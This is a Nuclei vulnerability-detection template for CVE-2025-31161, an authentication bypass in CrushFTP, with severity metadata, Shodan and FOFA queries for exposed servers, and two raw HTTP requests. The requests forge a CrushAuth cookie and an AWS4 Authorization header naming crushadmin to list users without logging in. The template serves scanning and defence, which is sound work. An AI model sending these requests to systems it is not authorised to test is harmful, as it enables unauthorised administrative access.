漏洞描述
CrushFTP versions 10.0.0 through 10.8.3 and 11.0.0 through 11.3.0 are affected by a vulnerability that may result in unauthenticated access. Remote and unauthenticated HTTP requests to CrushFTP may allow attackers to gain unauthorized access.
id: CVE-2025-31161
info:
name: CrushFTP - Authentication Bypass
author: parthmalhotra,Ice3man,DhiyaneshDk,pdresearch,whattheslime
severity: critical
description: |
CrushFTP versions 10.0.0 through 10.8.3 and 11.0.0 through 11.3.0 are affected by a vulnerability that may result in unauthenticated access. Remote and unauthenticated HTTP requests to CrushFTP may allow attackers to gain unauthorized access.
reference:
- https://projectdiscovery.io/blog/crushftp-authentication-bypass/
- https://www.rapid7.com/blog/post/2025/03/25/etr-notable-vulnerabilities-in-next-js-cve-2025-29927/
- https://www.crushftp.com/crush11wiki/Wiki.jsp?page=Update
- https://nvd.nist.gov/vuln/detail/CVE-2025-31161
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-31161
cwe-id: CWE-287
epss-score: 0.84413
epss-percentile: 0.99278
metadata:
max-request: 2
vendor: crushftp
product: crushftp
shodan-query:
- http.title:"CrushFTP WebInterface"
- http.favicon.hash:-1022206565
- http.html:"crushftp"
fofa-query:
- icon_hash="-1022206565"
- title="CrushFTP WebInterface"
- body="crushftp"
tags: cve,cve2025,crushftp,unauth,auth-bypass,rce,kev,vkev
variables:
string_1: "{{rand_text_numeric(13)}}"
string_2: "{{rand_text_alpha(28)}}"
string_3: "{{rand_text_numeric(4)}}"
http:
- raw:
- |
GET /WebInterface/function/?command=getUserList&serverGroup=MainUsers&c2f={{string_3}} HTTP/1.1
Cookie: CrushAuth={{string_1}}_{{string_2}}{{string_3}}; currentAuth={{string_3}}
Host: {{Hostname}}
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/
- |
GET /WebInterface/function/?command=getUserList&serverGroup=MainUsers&c2f={{string_3}} HTTP/1.1
Cookie: CrushAuth={{string_1}}_{{string_2}}{{string_3}}; currentAuth={{string_3}}
Host: {{Hostname}}
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<user_list_subitem>crushadmin</user_list_subitem>"
- type: word
part: content_type
words:
- "text/xml"
- type: status
status:
- 200
# digest: 4a0a00473045022100f369795f63d46609be552d651c95d5a4341273cdaad5cb66051f8f8e0734a7a2022004da6b3d0285c800e28d00eab4d77475d5d3e5bb6cd683491f20fd98465c5f57:922c64590222798bb761d5b6d8e72950